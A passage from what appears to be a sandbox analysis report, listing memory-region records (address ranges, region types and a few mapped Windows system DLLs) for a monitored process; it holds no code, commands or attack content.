id = 6420 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6421 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6422 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6423 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6424 start_va = 0x7ffd493a0000 end_va = 0x7ffd493d5fff monitored = 0 entry_point = 0x7ffd493b0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6425 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6426 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6427 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6428 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6791 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6792 start_va = 0xf140000 end_va = 0xf632fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f140000" filename = "" Region: id = 6793 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6794 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6795 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6796 start_va = 0x101d0000 end_va = 0x106c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000101d0000" filename = "" Region: id = 6797 start_va = 0x440000 end_va = 0x442fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6798 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6799 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6800 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6801 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6802 start_va = 0x440000 end_va = 0x443fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6803 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6804 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6805 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6806 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6812 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6813 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6814 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6815 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6816 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 6817 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6818 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6819 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6820 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6821 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6822 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6823 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6824 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6825 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6826 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6827 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6828 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6829 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6830 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6831 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6832 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6833 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6834 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6835 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6836 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6837 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6838 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6839 start_va = 0x7c60000 end_va = 0x7d59fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007c60000" filename = "" Region: id = 6840 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6841 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6842 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6843 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6844 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6845 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6846 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6847 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6848 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6849 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6850 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6851 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6852 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6853 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6854 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6855 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6856 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6857 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 6858 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6859 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6860 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6861 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 6862 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6863 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6864 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6865 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6866 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6867 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 6868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6869 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6870 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6871 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6872 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6873 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6874 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6875 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6876 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6877 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6878 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6879 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6880 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6881 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6882 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6883 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6884 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6885 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6886 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6887 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6888 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6889 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6890 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6891 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6892 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6893 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6894 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6895 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6896 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6897 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6898 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6899 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6900 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6901 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6902 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6903 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6904 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6905 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6906 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6908 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6909 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6910 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6911 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6913 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6914 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6915 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6916 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6917 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6918 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6919 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6920 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6921 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6922 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6923 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6924 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6925 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6926 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6927 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6928 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6929 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6930 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6931 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6932 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6933 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6934 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6935 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6936 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6937 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6938 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6939 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6940 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6941 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6942 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6943 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6944 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6945 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6946 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6947 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6948 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6949 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6950 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6951 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6952 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6953 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6954 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6955 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6956 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6957 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6958 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6959 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6960 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6961 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6962 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6963 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6964 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6965 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6966 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6967 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6968 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6969 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6970 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6971 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6972 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6973 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6974 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6976 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6977 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 6978 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6979 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6981 start_va = 0x460000 end_va = 0x47ffff monitored 